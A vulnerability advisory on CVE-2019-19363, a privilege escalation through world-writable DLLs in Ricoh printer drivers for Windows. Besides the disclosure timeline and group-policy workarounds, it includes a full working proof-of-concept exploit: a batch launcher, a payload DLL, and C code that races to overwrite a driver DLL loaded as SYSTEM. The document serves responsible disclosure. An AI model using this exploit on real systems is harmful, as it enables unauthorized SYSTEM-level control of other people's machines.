Local Privilege Escalation in many Ricoh Printer Drivers for Windows (CVE-2019-19363)

Pentagrid has been asked to manage the coordinated disclosure process for a vulnerability that affects several Windows printer drivers for a wide range of printers by the printer manufacture Ricoh. Due to improperly set file permissions of file system entries that are installed when a printer is added to a Windows system, any local user is able to overwrite program library files (DLLs) with own code.

Impact

The improperly protected library files are loaded by the Windows PrintIsolationHost.exe, which is a privileged process running as SYSTEM. When an attacker overwrites library files that are used in an administrative context, the library code gets executed with administrative privileges as well. Thus, the attacker is able to escalate privileges to SYSTEM.

As installing printers is not disallowed by default on Domain managed Windows computers, this can be used as a universal privilege escalation as long as the vulnerable printer drivers are valid and installed.

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 8.8 High

Timeline

  • 2019-10-17: Pentagrid has been asked to support the disclosure process, because the source was not successful in reporting this vulnerability to Ricoh.

  • 2019-10-23: Asked @ricoheurope Twitter channel regarding a security contact. No response, yet.

  • 2019-10-29: Successfully established a contact with a Ricoh employee via LinkedIn. Other contact attempts via LinkedIn failed so far.

  • 2019-10-29: Asked @AskRicoh Twitter channel regarding a security contact.

  • 2019-10-31: Received two e-mail addresses as potential security contacts via LinkedIn contact.

  • 2019-11-02: Initial contact with provided two Ricoh e-mail addresses.

  • 2019-11-04: Received PSIRT contact address (psirt@ricoh-usa.com).

  • 2019-11-05: Sent preliminary advisory to PSIRT.

  • 2019-11-05: @AskRicoh responded on Twitter.

  • 2019-11-14: Response from Ricoh PSIRT with a timeline proposal and intended steps.

  • 2019-12-05: CVE-2019-19363 has been assigned.

  • 2020-01-22: Ricoh published an advisory. Fixes and mitigations have not been verified, yet.

  • 2020-01-22: Advisory updated and published after 90 days of initial contact.

Affected Components

Printer drivers for Ricoh, Savin and Lanier printer brands are affected. The following drivers for Windows 10 are known to be affected:

Especially the Universal Print driver supports a wide range of printer models. Furthermore, printers are also marketed under the brand names Savin and Lanier, which use the same drivers. Ricoh's advisory lists affected drivers and versions.

Technical Details

To reproduce the vulnerability, download an affected printer driver such as the PCL6 Driver for Universal Print, Version 4.23.0.0, self-extract the executable file and install the driver. Add a printer. In a standard Windows installation, adding a printer does not need an administrator account.

During the printer setup, the process of PrintIsolationHost.exe creates a directory c:\ProgramData\RICOH_DRV and installs several files in this location, including several DLL files. Every user has full control over the installed DLL files as show below, because these files are writable:

C:\>icacls "c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\*.dll"
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\borderline.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\headerfooter.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\jobhook.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\overlaywatermark.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\popup.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\watermark.dll Everyone:(I)(F)

Successfully processed 6 files; Failed processing 0 files

The flag F means full access and the flag I means permissions are inherited from the parent directory. The inherited writable flag origins from a parent directory. In fact, the entire directory c:\ProgramData\RICOH_DRV grants full control to everyone:

C:\>icacls "c:\ProgramData\RICOH_DRV"
c:\ProgramData\RICOH_DRV Everyone:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

Here OI means Object Inherit, CI Container Inherit, and F full access as above.

The printer isolation feature has been introduced in Windows 7 and Windows Server 2008 to not have the printer drivers in the same process as the spooler. The isolation should add stability for other user's print jobs.

Exploitation

When a DLL file from the c:\ProgramData\RICOH_DRV is overwritten in the right moment by a local attacker, the PrintIsolationHost.exe process loads the attacker-provided DLL file as shown in the screenshot below. Afterward, the library code gets executed with SYSTEM privileges, because the PrintIsolationHost.exe uses SYSTEM privileges. This attack idea has been implemented in a proof of concept exploit that is given in a later section of this advisory.

/images/202001_Ricoh_Privilege_Escalation_Screenshot_Procmon_PoC_in_action.png

Precondition

To exploit the vulnerability, an attacker needs access to a Windows host as a regular user and must be able to install an affected Ricoh printer driver as well as to add printers. Adding printers is usually possible without administrative access.

Patches and Workaround

Please refer to Ricoh's advisory for mitigations and security patches. Please refer to Updates below.

Windows Group policies are a potential workaround. When group policies are used, there is a group policy to control installing printer drivers (Windows Settings -> Security Settings -> Local Policies -> Security Options -> Devices: Prevent Users From Installing Printer Drivers) and another group policy to control adding printers (User Configuration -> Administrative Templates -> Control Panel -> Printers -> Prevent addition of printers). When used, people cannot install drivers, respectively adding printers.

Credits

This vulnerability has been found by Alexander Pudwill, who also provided an initial proof of concept exploit in C#. Pentagrid AG independently validated the findings, fully automated the exploit process and handled the coordinated disclosure.

Proof of Concept Exploit

1. Launch Script

REM This example batch script executes the proof of concept exploit.
REM Written by Pentagrid AG, 2019.
REM See https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/

SET DLL=watermark.dll
SET STEPS=2

SET PRINTERNAME=RICOH PCL6 UniversalDriver V4.23
REM SET PRINTERNAME=RICOH Aficio SP 8300DN PCL 6
REM SET PRINTERNAME=RICOH P 501 PCL 6
REM SET PRINTERNAME=RICOH MP C6503 PCL 6


PoC.exe ^
   "%PRINTERNAME%" ^
   "C:\ProgramData\RICOH_DRV\%PRINTERNAME%\_common\dlz\%DLL%" ^
   "RICOH_DRV\%PRINTERNAME%\_common\dlz\%DLL%" ^
   Dll.dll ^
   %STEPS%

REM Wait for a moment
timeout /t 5
dir c:\result.txt

2. Payload DLL

/*

This proof of concept DLL executes a shell command with elevated privileges.
Written by Pentagrid AG, 2019.
Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/
*/

#include "stdafx.h"
#include <shellapi.h>

BOOL WINAPI DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved) {
    WinExec("cmd.exe /c whoami > c:\\result.txt", SW_HIDE);
    return TRUE;
}

3. Exploit

/*

This proof of concept code monitors file changes on Ricoh's driver DLL files and overwrites
a DLL file before the library is loaded (CVE-2019-19363).

Written by Pentagrid AG, 2019.

Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/

Credits: Alexander Pudwill

This proof of concept code is based on the ReadDirectoryChangesW API call to
get notified about changes on files and directories and reuses parts from the example from
https://www.experts-exchange.com/questions/22507220/ReadDirectoryChangesW-FWATCH-MSDN-sample-not-working.html

*/
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <windows.h>

#define MAX_BUFFER  4096

int change_counter = 0;
const WCHAR * const BaseDirName = L"C:\\ProgramData";
const WCHAR * TargetDllFullFilePath, * TargetDLLRelFilePath, * MaliciousLibraryFile, * PrinterName;
DWORD dwNotifyFilter = FILE_NOTIFY_CHANGE_LAST_WRITE |
        FILE_NOTIFY_CHANGE_SIZE |
        FILE_NOTIFY_CHANGE_LAST_ACCESS |
        FILE_NOTIFY_CHANGE_CREATION;

typedef struct _DIRECTORY_INFO {
        HANDLE      hDir;
        TCHAR       lpszDirName[MAX_PATH];
        CHAR        lpBuffer[MAX_BUFFER];
        DWORD       dwBufLength;
        OVERLAPPED  Overlapped;
} DIRECTORY_INFO, *PDIRECTORY_INFO, *LPDIRECTORY_INFO;

DIRECTORY_INFO  DirInfo;

void WINAPI HandleDirectoryChange(DWORD dwCompletionPort) {
        DWORD numBytes, cbOffset;
        LPDIRECTORY_INFO di;
        LPOVERLAPPED lpOverlapped;
        PFILE_NOTIFY_INFORMATION fni;
        WCHAR FileName[MAX_PATH];

        do {

                GetQueuedCompletionStatus((HANDLE)dwCompletionPort, &numBytes, (LPDWORD)&di, &lpOverlapped, INFINITE);

                if (di) {
                        fni = (PFILE_NOTIFY_INFORMATION)di->lpBuffer;

                        do {
                                cbOffset = fni->NextEntryOffset;

                                // get filename
                                size_t num_elem = fni->FileNameLength / sizeof(WCHAR);
                                if (num_elem >= sizeof(FileName) / sizeof(WCHAR)) num_elem = 0;

                                wcsncpy_s(FileName, sizeof(FileName)/sizeof(WCHAR), fni->FileName, num_elem);
                                FileName[num_elem] = '\0';
                                wprintf(L"+ Event for %s [%d]\n", FileName, change_counter);

                                if (fni->Action == FILE_ACTION_MODIFIED) {

                                        if (!wcscmp(FileName, TargetDLLRelFilePath)) {

                                                if (change_counter > 0)
                                                        change_counter--;
                                                if (change_counter == 0) {
                                                        change_counter--;

                                                        if (CopyFile(MaliciousLibraryFile, TargetDllFullFilePath, FALSE))
                                                                wprintf(L"+ File %s copied to %s.\n", MaliciousLibraryFile, TargetDllFullFilePath);

                                                        else {
                                                                wchar_t buf[256];

                                                                FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
                                                                        NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                                                                        buf, (sizeof(buf) / sizeof(wchar_t)), NULL);

                                                                wprintf(L"+ Failed to copy file %s to %s: %s\n", MaliciousLibraryFile, TargetDllFullFilePath, buf);
                                                        }

                                                        exit(1);
                                                } // end of trigger part
                                        }
                                } // eo action mod
                                fni = (PFILE_NOTIFY_INFORMATION)((LPBYTE)fni + cbOffset);

                        } while (cbOffset);

                        // Reissue the watch command
                        ReadDirectoryChangesW(di->hDir, di->lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &di->dwBufLength, &di->Overlapped, NULL);
                }
        } while (di);
}

void WINAPI InstallPrinter() {
        WCHAR cmd_buf[1000];
        swprintf(cmd_buf, sizeof(cmd_buf), L"/c rundll32 printui.dll, PrintUIEntry /if /b \"Printer\" /r lpt1: /m \"%s\"", PrinterName);
        wprintf(L"+ Adding printer: %s\n", cmd_buf);

        unsigned long ret = (unsigned long) ShellExecuteW(0, L"open", L"cmd", cmd_buf, NULL, SW_HIDE);
        if(ret <= 32) // That seems to be the way to handle ShellExecuteW's ret value.
                wprintf(L"+ Failed launching command. Return value is %d\n", ret);
}

void WINAPI WatchDirectories(HANDLE hCompPort) {
        DWORD   tid;
        HANDLE  hThread;

        ReadDirectoryChangesW(DirInfo.hDir, DirInfo.lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &DirInfo.dwBufLength, &DirInfo.Overlapped, NULL);

        // Create a thread to sit on the directory changes
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleDirectoryChange, hCompPort, 0, &tid);

        // Just loop and wait for the user to quit
        InstallPrinter();
        while (_getch() != 'q');

        // The user has quit - clean up
        PostQueuedCompletionStatus(hCompPort, 0, 0, NULL);

        // Wait for the Directory thread to finish before exiting
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
}


int wmain(int argc, WCHAR *argv[]) {
        HANDLE  hCompPort = NULL;                 // Handle To a Completion Port

        if (argc == 6) {
                PrinterName = argv[1];
                TargetDllFullFilePath = argv[2];
                TargetDLLRelFilePath = argv[3];
                MaliciousLibraryFile = argv[4];
                change_counter = _wtoi(argv[5]);
        }
        else {
                wprintf(L"+ Usage: %s <printer_name> <fullpath_monitor_dll> <rel_path_monitor_dll> <new_dll> <counter>\n", argv[0]);
                return 0;
        }
        wprintf(L"+ Monitoring directory %s\n", BaseDirName);

        // Get a handle to the directory
        DirInfo.hDir = CreateFile(BaseDirName,
                FILE_LIST_DIRECTORY,
                FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                NULL,
                OPEN_EXISTING,
                FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
                NULL);

        if (DirInfo.hDir == INVALID_HANDLE_VALUE) {
                wprintf(L"Unable to open directory %s. GLE=%ld. Terminating...\n",
                        BaseDirName, GetLastError());
                return 0;
        }

        lstrcpy(DirInfo.lpszDirName, BaseDirName);

        if (HANDLE hFile = CreateFile(TargetDllFullFilePath,
                GENERIC_WRITE,
                FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                NULL,
                CREATE_ALWAYS,
                FILE_ATTRIBUTE_NORMAL,
                NULL)) {
                wprintf(L"+ File %s created\n", TargetDllFullFilePath);
                CloseHandle(hFile);
        }
        else
                wprintf(L"+ File %s could not be created\n", TargetDllFullFilePath);


        if ((hCompPort = CreateIoCompletionPort(DirInfo.hDir, hCompPort, (ULONG_PTR)&DirInfo, 0)) == NULL) {
                wprintf(L"+ CreateIoCompletionPort() failed.\n");
                return 0;
        }

        wprintf(L"+ Press <q> to exit\n");

        // Start watching
        WatchDirectories(hCompPort);

        CloseHandle(DirInfo.hDir);
        CloseHandle(hCompPort);
        return 1;
}

Updates

Update 2020-01-22: The old and vulnerable drivers are still valid. They are not revoked. We made a video of the proof of concept exploit in action. As a clarification, adding printers does not need administrative access, while installing the driver needs local admin access, but not when the driver is reinstalled and not, when installing printer drivers is allowed via GPOs.

Update 2020-01-31: Pentagrid had a look at the "PCL6 Driver for Universal Print, Version 4.26.0.0, Released Date: 01/17/2020" driver (https://support.ricoh.com/bb/pub_e/dr_ut_e/0001316/0001316926/V42600/z88755L19.exe). While the file permissions of the DLLs and the dlz directory are adjusted and do not grant any user write permissions, the permissions of the directories above this level have not changed and are still writeable.